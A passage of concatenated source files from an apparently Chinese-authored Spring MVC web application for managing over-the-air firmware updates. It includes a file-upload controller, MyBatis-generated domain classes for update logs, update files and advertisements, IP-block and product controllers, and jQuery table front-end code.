String bb = req.getParameter("bb");
System.out.println(aa+":"+bb);
return aa+":"+bb;
}
private String getLogName(String fileName) {
int lastIndexOf = fileName.lastIndexOf(".");
String subSequence = fileName.subSequence(0, lastIndexOf).toString();
return subSequence + "_" + System.currentTimeMillis() + ".log";
}
@RequestMapping(value="/upload", produces = "text/json;charset=UTF-8")
@ResponseBody
public String uploadFileHandler(HttpServletRequest request, @RequestParam("file") MultipartFile file){
System.out.println("fileupload");
//上传文件每日单独保存
String path = request.getSession().getServletContext()
.getRealPath("upload");
String systemdate = OTAToolKit.getSystemDate();
Properties prop = System.getProperties();
String osname = prop.getProperty("os.name");
if (osname.startsWith("win") || osname.startsWith("Win")) {
path = path + "\\" + systemdate;
} else {
path = path + "/" + systemdate;
}
String fileName = OTAToolKit.addTimeStamp(file.getOriginalFilename());
// /ota/src/main/webapp/upload
System.out.println("path:" + path);
System.out.println("fileName:" + fileName);
File targetFile = new File(path, fileName);
if (!targetFile.exists()) {
targetFile.mkdirs();
}
// 保存
try {
file.transferTo(targetFile);
fileMD5 = OTAToolKit.getMd5ByFile(targetFile);
size = targetFile.length();
if (osname.startsWith("win") || osname.startsWith("Win")) {
downloadUrl = "upload\\" + systemdate + "\\" + fileName;
} else {
downloadUrl = "upload/" + systemdate + "/" + fileName;
}
System.out.println(downloadUrl);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
<file_sep>package com.ota.domain;
public class OTALog {
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column otalog.id
*
* @mbggenerated
*/
private Integer id;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column otalog.mac
*
* @mbggenerated
*/
private String mac;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column otalog.model
*
* @mbggenerated
*/
private String model;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column otalog.currentVersion
*
* @mbggenerated
*/
private String currentversion;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column otalog.updateVersion
*
* @mbggenerated
*/
private String updateversion;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column otalog.ipaddress
*
* @mbggenerated
*/
private String ipaddress;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column otalog.logtime
*
* @mbggenerated
*/
private String logtime;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column otalog.action
*
* @mbggenerated
*/
private String action;
private String customer;
public String getCustomer() {
return customer;
}
public void setCustomer(String customer) {
this.customer = customer;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column otalog.id
*
* @return the value of otalog.id
*
* @mbggenerated
*/
public Integer getId() {
return id;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column otalog.id
*
* @param id the value for otalog.id
*
* @mbggenerated
*/
public void setId(Integer id) {
this.id = id;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column otalog.mac
*
* @return the value of otalog.mac
*
* @mbggenerated
*/
public String getMac() {
return mac;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column otalog.mac
*
* @param mac the value for otalog.mac
*
* @mbggenerated
*/
public void setMac(String mac) {
this.mac = mac == null ? null : mac.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column otalog.model
*
* @return the value of otalog.model
*
* @mbggenerated
*/
public String getModel() {
return model;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column otalog.model
*
* @param model the value for otalog.model
*
* @mbggenerated
*/
public void setModel(String model) {
this.model = model == null ? null : model.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column otalog.currentVersion
*
* @return the value of otalog.currentVersion
*
* @mbggenerated
*/
public String getCurrentversion() {
return currentversion;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column otalog.currentVersion
*
* @param currentversion the value for otalog.currentVersion
*
* @mbggenerated
*/
public void setCurrentversion(String currentversion) {
this.currentversion = currentversion == null ? null : currentversion.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column otalog.updateVersion
*
* @return the value of otalog.updateVersion
*
* @mbggenerated
*/
public String getUpdateversion() {
return updateversion;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column otalog.updateVersion
*
* @param updateversion the value for otalog.updateVersion
*
* @mbggenerated
*/
public void setUpdateversion(String updateversion) {
this.updateversion = updateversion == null ? null : updateversion.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column otalog.ipaddress
*
* @return the value of otalog.ipaddress
*
* @mbggenerated
*/
public String getIpaddress() {
return ipaddress;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column otalog.ipaddress
*
* @param ipaddress the value for otalog.ipaddress
*
* @mbggenerated
*/
public void setIpaddress(String ipaddress) {
this.ipaddress = ipaddress == null ? null : ipaddress.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column otalog.logtime
*
* @return the value of otalog.logtime
*
* @mbggenerated
*/
public String getLogtime() {
return logtime;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column otalog.logtime
*
* @param logtime the value for otalog.logtime
*
* @mbggenerated
*/
public void setLogtime(String logtime) {
this.logtime = logtime == null ? null : logtime.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column otalog.action
*
* @return the value of otalog.action
*
* @mbggenerated
*/
public String getAction() {
return action;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column otalog.action
*
* @param action the value for otalog.action
*
* @mbggenerated
*/
public void setAction(String action) {
this.action = action == null ? null : action.trim();
}
@Override
public String toString() {
return "OTALog [id=" + id + ", mac=" + mac + ", model=" + model + ", currentversion=" + currentversion
+ ", updateversion=" + updateversion + ", ipaddress=" + ipaddress + ", logtime=" + logtime + ", action="
+ action + "]";
}
}<file_sep>package com.ota.dao;
import java.util.List;
import java.util.Map;
import com.github.miemiedev.mybatis.paginator.domain.PageBounds;
import com.ota.domain.OTALog;
public interface OTALogMapper {
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table otalog
*
* @mbggenerated
*/
int deleteByPrimaryKey(Integer id);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table otalog
*
* @mbggenerated
*/
int insert(OTALog record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table otalog
*
* @mbggenerated
*/
int insertSelective(OTALog record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table otalog
*
* @mbggenerated
*/
OTALog selectByPrimaryKey(Integer id);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table otalog
*
* @mbggenerated
*/
int updateByPrimaryKeySelective(OTALog record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table otalog
*
* @mbggenerated
*/
int updateByPrimaryKey(OTALog record);
List<OTALog> selectAllOTALog();
List<OTALog> selectOTALogsWithFilter(Map<String, Object> map, PageBounds pageBounds);
int countOTALogsWithFilter(Map<String, Object> map);
}<file_sep>package com.ota.domain;
import java.util.Date;
public class Updatefile {
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column updatefile.id
*
* @mbggenerated
*/
private Integer id;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column updatefile.file_version
*
* @mbggenerated
*/
private String fileVersion;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column updatefile.update_time
*
* @mbggenerated
*/
private Date updateTime;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column updatefile.download
*
* @mbggenerated
*/
private String download;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column updatefile.md5
*
* @mbggenerated
*/
private String md5;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column updatefile.size
*
* @mbggenerated
*/
private Integer size;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column updatefile.mappingid
*
* @mbggenerated
*/
private String mappingid;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column updatefile.businessid
*
* @mbggenerated
*/
private String description;
private String businessid;
private Integer groupid;
private Integer modelid;
private String enforce;
private String status;
public String getBusinessid() {
return businessid;
}
public void setBusinessid(String businessid) {
this.businessid = businessid;
}
public Integer getGroupid() {
return groupid;
}
public void setGroupid(Integer groupid) {
this.groupid = groupid;
}
public Integer getModelid() {
return modelid;
}
public void setModelid(Integer modelid) {
this.modelid = modelid;
}
public String getEnforce() {
return enforce;
}
public void setEnforce(String enforce) {
this.enforce = enforce;
}
public String getStatus() {
return status;
}
public void setStatus(String status) {
this.status = status;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column updatefile.id
*
* @return the value of updatefile.id
*
* @mbggenerated
*/
public Integer getId() {
return id;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column updatefile.id
*
* @param id the value for updatefile.id
*
* @mbggenerated
*/
public void setId(Integer id) {
this.id = id;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column updatefile.file_version
*
* @return the value of updatefile.file_version
*
* @mbggenerated
*/
public String getFileVersion() {
return fileVersion;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column updatefile.file_version
*
* @param fileVersion the value for updatefile.file_version
*
* @mbggenerated
*/
public void setFileVersion(String fileVersion) {
this.fileVersion = fileVersion == null ? null : fileVersion.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column updatefile.update_time
*
* @return the value of updatefile.update_time
*
* @mbggenerated
*/
public Date getUpdateTime() {
return updateTime;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column updatefile.update_time
*
* @param updateTime the value for updatefile.update_time
*
* @mbggenerated
*/
public void setUpdateTime(Date updateTime) {
this.updateTime = updateTime;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column updatefile.download
*
* @return the value of updatefile.download
*
* @mbggenerated
*/
public String getDownload() {
return download;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column updatefile.download
*
* @param download the value for updatefile.download
*
* @mbggenerated
*/
public void setDownload(String download) {
this.download = download == null ? null : download.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column updatefile.md5
*
* @return the value of updatefile.md5
*
* @mbggenerated
*/
public String getMd5() {
return md5;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column updatefile.md5
*
* @param md5 the value for updatefile.md5
*
* @mbggenerated
*/
public void setMd5(String md5) {
this.md5 = md5 == null ? null : md5.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column updatefile.size
*
* @return the value of updatefile.size
*
* @mbggenerated
*/
public Integer getSize() {
return size;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column updatefile.size
*
* @param size the value for updatefile.size
*
* @mbggenerated
*/
public void setSize(Integer size) {
this.size = size;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column updatefile.mappingid
*
* @return the value of updatefile.mappingid
*
* @mbggenerated
*/
public String getMappingid() {
return mappingid;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column updatefile.mappingid
*
* @param mappingid the value for updatefile.mappingid
*
* @mbggenerated
*/
public void setMappingid(String mappingid) {
this.mappingid = mappingid == null ? null : mappingid.trim();
}
public String getDescription() {
return description;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column updatefile.description
*
* @param description the value for updatefile.description
*
* @mbggenerated
*/
public void setDescription(String description) {
this.description = description == null ? null : description.trim();
}
public Updatefile(Integer id, String mappingid) {
super();
this.id = id;
this.mappingid = mappingid;
}
public Updatefile() {
super();
}
@Override
public String toString() {
return "Updatefile [id=" + id + ", fileVersion=" + fileVersion + ", updateTime=" + updateTime + ", download="
+ download + ", md5=" + md5 + ", size=" + size + ", mappingid=" + mappingid + ", description="
+ description + ", businessid=" + businessid + ", groupid=" + groupid + ", modelid=" + modelid
+ ", enforce=" + enforce + ", status=" + status + "]";
}
}<file_sep>package com.ota.domain;
public class AppLog {
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column applog.id
*
* @mbggenerated
*/
private Integer id;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column applog.customer
*
* @mbggenerated
*/
private String customer;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column applog.model
*
* @mbggenerated
*/
private String model;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column applog.device
*
* @mbggenerated
*/
private String device;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column applog.appname
*
* @mbggenerated
*/
private String appname;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column applog.packagename
*
* @mbggenerated
*/
private String packagename;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column applog.version
*
* @mbggenerated
*/
private String version;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column applog.ip
*
* @mbggenerated
*/
private String ip;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column applog.action
*
* @mbggenerated
*/
private String action;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column applog.logtime
*
* @mbggenerated
*/
private String logtime;
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column applog.id
*
* @return the value of applog.id
*
* @mbggenerated
*/
public Integer getId() {
return id;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column applog.id
*
* @param id the value for applog.id
*
* @mbggenerated
*/
public void setId(Integer id) {
this.id = id;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column applog.customer
*
* @return the value of applog.customer
*
* @mbggenerated
*/
public String getCustomer() {
return customer;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column applog.customer
*
* @param customer the value for applog.customer
*
* @mbggenerated
*/
public void setCustomer(String customer) {
this.customer = customer == null ? null : customer.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column applog.model
*
* @return the value of applog.model
*
* @mbggenerated
*/
public String getModel() {
return model;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column applog.model
*
* @param model the value for applog.model
*
* @mbggenerated
*/
public void setModel(String model) {
this.model = model == null ? null : model.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column applog.device
*
* @return the value of applog.device
*
* @mbggenerated
*/
public String getDevice() {
return device;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column applog.device
*
* @param device the value for applog.device
*
* @mbggenerated
*/
public void setDevice(String device) {
this.device = device == null ? null : device.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column applog.appname
*
* @return the value of applog.appname
*
* @mbggenerated
*/
public String getAppname() {
return appname;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column applog.appname
*
* @param appname the value for applog.appname
*
* @mbggenerated
*/
public void setAppname(String appname) {
this.appname = appname == null ? null : appname.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column applog.packagename
*
* @return the value of applog.packagename
*
* @mbggenerated
*/
public String getPackagename() {
return packagename;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column applog.packagename
*
* @param packagename the value for applog.packagename
*
* @mbggenerated
*/
public void setPackagename(String packagename) {
this.packagename = packagename == null ? null : packagename.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column applog.version
*
* @return the value of applog.version
*
* @mbggenerated
*/
public String getVersion() {
return version;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column applog.version
*
* @param version the value for applog.version
*
* @mbggenerated
*/
public void setVersion(String version) {
this.version = version == null ? null : version.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column applog.ip
*
* @return the value of applog.ip
*
* @mbggenerated
*/
public String getIp() {
return ip;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column applog.ip
*
* @param ip the value for applog.ip
*
* @mbggenerated
*/
public void setIp(String ip) {
this.ip = ip == null ? null : ip.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column applog.action
*
* @return the value of applog.action
*
* @mbggenerated
*/
public String getAction() {
return action;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column applog.action
*
* @param action the value for applog.action
*
* @mbggenerated
*/
public void setAction(String action) {
this.action = action == null ? null : action.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column applog.logtime
*
* @return the value of applog.logtime
*
* @mbggenerated
*/
public String getLogtime() {
return logtime;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column applog.logtime
*
* @param logtime the value for applog.logtime
*
* @mbggenerated
*/
public void setLogtime(String logtime) {
this.logtime = logtime == null ? null : logtime.trim();
}
}<file_sep>package com.ota.handlers;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import com.alibaba.fastjson.JSONObject;
import com.ota.dao.IPBlockMapper;
import com.ota.domain.IPBlock;
import com.ota.tools.OTAToolKit;
@Controller
public class IPBlockHandlers {
@Autowired
IPBlockMapper ipBlockMapper;
@RequestMapping("ipblock-info")
@ResponseBody
public List<IPBlock> ipblockInfo() {
List<IPBlock> ipBlocks = ipBlockMapper.selectAllIPBlock();
return ipBlocks;
}
@RequestMapping(value = "add-ipblock")
@ResponseBody
public JSONObject addIPBlock(@RequestBody JSONObject jsonRec) {
JSONObject json = new JSONObject();
String ipbegin = jsonRec.getString("ipbegin");
String ipend = jsonRec.getString("ipend");
String status = jsonRec.getString("status");
IPBlock ipBlock = new IPBlock();
ipBlock.setIpbegin(ipbegin);
ipBlock.setIpend(ipend);
ipBlock.setStatus(status);
ipBlock.setCreatetime(OTAToolKit.getSystemTime());
try {
ipBlockMapper.insertSelective(ipBlock);
json.put("code", "1");
} catch (Exception exception) {
json.put("code", "-1");
exception.printStackTrace();
}
return json;
}
@RequestMapping(value = "update-ipblock")
@ResponseBody
public JSONObject editIPBlock(@RequestBody JSONObject jsonRec) {
JSONObject json = new JSONObject();
int id=jsonRec.getIntValue("id");
String ipbegin = jsonRec.getString("ipbegin");
String ipend = jsonRec.getString("ipend");
String status = jsonRec.getString("status");
IPBlock ipBlock = new IPBlock();
ipBlock.setIpbegin(ipbegin);
ipBlock.setIpend(ipend);
ipBlock.setStatus(status);
ipBlock.setId(id);
try {
ipBlockMapper.updateByPrimaryKeySelective(ipBlock);
json.put("code", "1");
} catch (Exception exception) {
json.put("code", "-1");
exception.printStackTrace();
}
return json;
}
@RequestMapping(value = "delete-ipblock")
@ResponseBody
public JSONObject deleteIPBlock(@RequestBody IPBlock ipBlock) {
JSONObject json = new JSONObject();
try {
ipBlockMapper.deleteByPrimaryKey(ipBlock.getId());
json.put("code", "1");
} catch (Exception exception) {
json.put("code", "-1");
exception.printStackTrace();
}
return json;
}
@RequestMapping(value = "close-ipblock")
@ResponseBody
public JSONObject closeIPBlock(@RequestBody IPBlock ipBlock) {
JSONObject json = new JSONObject();
ipBlock.setStatus("Close");
try {
ipBlockMapper.closeIPBlock(ipBlock);
json.put("code", "1");
} catch (Exception exception) {
json.put("code", "-1");
exception.printStackTrace();
}
return json;
}
}
<file_sep>package com.ota.domain;
import java.util.Date;
public class Advertisement {
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column advertisement.id
*
* @mbggenerated
*/
private Integer id;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column advertisement.adversion
*
* @mbggenerated
*/
private String adversion;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column advertisement.update_time
*
* @mbggenerated
*/
private Date updateTime;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column advertisement.download
*
* @mbggenerated
*/
private String download;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column advertisement.positionID
*
* @mbggenerated
*/
private Integer positionid;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column advertisement.gotoUrl
*
* @mbggenerated
*/
private String gotourl;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column advertisement.mappingid
*
* @mbggenerated
*/
private String mappingid;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column advertisement.businessid
*
* @mbggenerated
*/
private String businessid;
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column advertisement.id
*
* @return the value of advertisement.id
*
* @mbggenerated
*/
public Integer getId() {
return id;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column advertisement.id
*
* @param id the value for advertisement.id
*
* @mbggenerated
*/
public void setId(Integer id) {
this.id = id;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column advertisement.adversion
*
* @return the value of advertisement.adversion
*
* @mbggenerated
*/
public String getAdversion() {
return adversion;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column advertisement.adversion
*
* @param adversion the value for advertisement.adversion
*
* @mbggenerated
*/
public void setAdversion(String adversion) {
this.adversion = adversion == null ? null : adversion.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column advertisement.update_time
*
* @return the value of advertisement.update_time
*
* @mbggenerated
*/
public Date getUpdateTime() {
return updateTime;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column advertisement.update_time
*
* @param updateTime the value for advertisement.update_time
*
* @mbggenerated
*/
public void setUpdateTime(Date updateTime) {
this.updateTime = updateTime;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column advertisement.download
*
* @return the value of advertisement.download
*
* @mbggenerated
*/
public String getDownload() {
return download;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column advertisement.download
*
* @param download the value for advertisement.download
*
* @mbggenerated
*/
public void setDownload(String download) {
this.download = download == null ? null : download.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column advertisement.positionID
*
* @return the value of advertisement.positionID
*
* @mbggenerated
*/
public Integer getPositionid() {
return positionid;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column advertisement.positionID
*
* @param positionid the value for advertisement.positionID
*
* @mbggenerated
*/
public void setPositionid(Integer positionid) {
this.positionid = positionid;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column advertisement.gotoUrl
*
* @return the value of advertisement.gotoUrl
*
* @mbggenerated
*/
public String getGotourl() {
return gotourl;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column advertisement.gotoUrl
*
* @param gotourl the value for advertisement.gotoUrl
*
* @mbggenerated
*/
public void setGotourl(String gotourl) {
this.gotourl = gotourl == null ? null : gotourl.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column advertisement.mappingid
*
* @return the value of advertisement.mappingid
*
* @mbggenerated
*/
public String getMappingid() {
return mappingid;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column advertisement.mappingid
*
* @param mappingid the value for advertisement.mappingid
*
* @mbggenerated
*/
public void setMappingid(String mappingid) {
this.mappingid = mappingid == null ? null : mappingid.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column advertisement.businessid
*
* @return the value of advertisement.businessid
*
* @mbggenerated
*/
public String getBusinessid() {
return businessid;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column advertisement.businessid
*
* @param businessid the value for advertisement.businessid
*
* @mbggenerated
*/
public void setBusinessid(String businessid) {
this.businessid = businessid == null ? null : businessid.trim();
}
public Advertisement(Integer id, String mappingid) {
super();
this.id = id;
this.mappingid = mappingid;
}
public Advertisement() {
super();
}
}<file_sep>package com.ota.handlers;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import com.alibaba.fastjson.JSONObject;
import com.ota.dao.BoxTypeMapper;
import com.ota.domain.BoxType;
@Controller
public class productHandlers {
@Autowired
BoxTypeMapper boxTypeMapper;
@RequestMapping("product-info")
@ResponseBody
public List<BoxType> productInfo() {
List<BoxType> boxTypes = boxTypeMapper.selectAllType();
return boxTypes;
}
@RequestMapping(value = "check-newproduct")
@ResponseBody
public JSONObject checkNewGroup(@RequestBody JSONObject jsonRec) {
JSONObject json = new JSONObject();
String type = jsonRec.getString("type");
String pid = jsonRec.getString("pid");
String description = jsonRec.getString("description");
String statusString = jsonRec.getString("status");
System.out.println("statusString: "+statusString);
int status = 0;
// open是1close是0
if (statusString.equals("Open"))
status = 1;
Map<String, String> map = new HashMap<>();
map.put("type", type);
map.put("pid", pid);
int count = boxTypeMapper.checkNewProduct(map);
System.out.println(count);
if (count == 0) {
json.put("code", "1");
} else {
json.put("code", "-1");
}
return json;
}
@RequestMapping(value = "add-product")
@ResponseBody
public JSONObject addProduct(@RequestBody JSONObject jsonRec) {
JSONObject json = new JSONObject();
String type = jsonRec.getString("type");
String pid = jsonRec.getString("pid");
String description = jsonRec.getString("description");
String statusString = jsonRec.getString("status");
System.out.println("statusString: "+statusString);
int status = 0;
// open是1close是0
if (statusString.equals("Open"))
status = 1;
BoxType boxType = new BoxType();
boxType.setType(type);
boxType.setPid(pid);
boxType.setDescription(description);
boxType.setStatus(status);
try {
boxTypeMapper.insertSelective(boxType);
json.put("code", "1");
} catch (Exception exception) {
json.put("code", "-1");
exception.printStackTrace();
}
return json;
}
@RequestMapping(value = "update-product")
@ResponseBody
public JSONObject editProduct(@RequestBody JSONObject jsonRec) {
JSONObject json = new JSONObject();
int id=jsonRec.getIntValue("id");
int id2=jsonRec.getInteger("id");
System.out.println("id1: " + id);
System.out.println("id: " + id2);
String type = jsonRec.getString("type");
String pid = jsonRec.getString("pid");
String description = jsonRec.getString("description");
String statusString = jsonRec.getString("status");
System.out.println("statusString: "+statusString);
int status = 0;
// open是1close是0
if (statusString.equals("Open"))
status = 1;
BoxType boxType = new BoxType();
boxType.setId(id);
boxType.setType(type);
boxType.setPid(pid);
boxType.setDescription(description);
boxType.setStatus(status);
try {
boxTypeMapper.updateByPrimaryKeySelective(boxType);
json.put("code", "1");
} catch (Exception exception) {
json.put("code", "-1");
exception.printStackTrace();
}
return json;
}
@RequestMapping(value = "delete-product")
@ResponseBody
public JSONObject deleteProduct(@RequestBody BoxType boxType) {
JSONObject json = new JSONObject();
try {
boxTypeMapper.deleteByPrimaryKey(boxType.getId());
json.put("code", "1");
} catch (Exception exception) {
json.put("code", "-1");
exception.printStackTrace();
}
return json;
}
}
<file_sep>$(document).ready(function () {
//加载用户信息
queryProductList();
});
window.actionEvents = {
'click .deleteProduct': function (e, value, row, index) {
var data = {
"id":row.id,
}
$.ajax({
type: "post",
url: "delete-product",
contentType : 'application/json',
data: JSON.stringify(data),
success: function(result) {
result = $.parseJSON(result);
if (result.code == 1) {
layer.msg('Delete Successfully!');
$('#product_table').bootstrapTable('refresh');
}
},
error: function(result, xhr) {
console.log(result);
console.log(xhr);
}
})
},
'click .editProduct': function (e, value, row, index) {
$('#editProductModal').modal('show');
$('#editProduct_id').val(row.id);
$('#editProduct_model').val(row.type);
$('#editProduct_pid').val(row.pid);
$('#editProduct_description').val(row.description);
}
}
function queryProductList() {
$('#product_table').bootstrapTable({
height:720,
search:true,
// showRefresh:true,
// showToggle:true,
showColumns:true,
pagination: true,
sidePagination: 'client',
pageNumber: 1,
pageSize: 20,
pageList: [10, 20, 30, 50],
// toolbar: $('#toolbar'),
uniqueId: 'id',
url: 'product-info',
});
}
function productStatusFun(value,row,index) {
//open是1 close是0
if(value=="0") {
return '<font color="red">Close</font>';
}
if(value=="1") {
return '<font color="green">Open</font>';
}
return '-';
}
function productOperationFun(value,row,index) {
return ['<button type="button" class="btn btn-info btn-sm editProduct" data-toggle="modal" data-target="editProductModal"><span class="glyphicon glyphicon glyphicon-edit"></span>Edit</button>',
'<button type="button" class="btn btn-danger btn-sm deleteProduct"><span class="glyphicon glyphicon glyphicon-trash"></span>Delete</button>'].join('');
}
function submit_addProductClick() {
if ($("#addProduct_model").val()) {
var data = {
"type":$('#addProduct_model').val(),
"pid": $("#addProduct_pid").val(),
"description": $('#addProduct_description').val(),
"status": $('#addProduct_status').val()
}
//首先检查用户名是否重复
$.ajax({
type: "post",
url: "check-newproduct",
contentType : 'application/json',
dataType:"json",
data: JSON.stringify(data),
success: function(result) {
if (result.code != 1) {
layer.msg('This icon has been existed', {icon: 5});
$("#addProduct_model").focus();
} else {
$.ajax({
type: "post",
url: "add-product",
contentType : 'application/json',
data: JSON.stringify(data),
success: function(result) {
$('#addProductModal').modal('hide');
layer.msg('Success!');
$('#product_table').bootstrapTable('refresh');
},
error: function(result, xhr) {
console.log(result);
console.log(xhr);
layer.msg('Error');
}
});
}
},
error: function(result, xhr) {
console.log(result);
console.log(xhr);
}
});
} else {
layer.msg('Please fill your model!', {icon: 5});
}
}
//点击编辑提交按钮
$("#editProduct_Submit").click(function() {
if ($("#editProduct_model").val()) {
var data = {
"id":$('#editProduct_id').val(),
"type":$('#editProduct_model').val(),
"pid": $("#editProduct_pid").val(),
"description": $('#editProduct_description').val(),
"status": $('#editProduct_status').val()
}
$.ajax({
type: "post",
url: "update-product",
contentType : 'application/json',
data: JSON.stringify(data),
success: function(result) {
$('#editProductModal').modal('hide');
layer.msg('Success!');
$('#product_table').bootstrapTable('refresh');
},
error: function(result, xhr) {
console.log(result);
console.log(xhr);
layer.msg('Error',{icon:2});
}
});
} else {
layer.msg('Please fill your product name!',{icon:2});
}
});
<file_sep>package com.ota.handlers;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
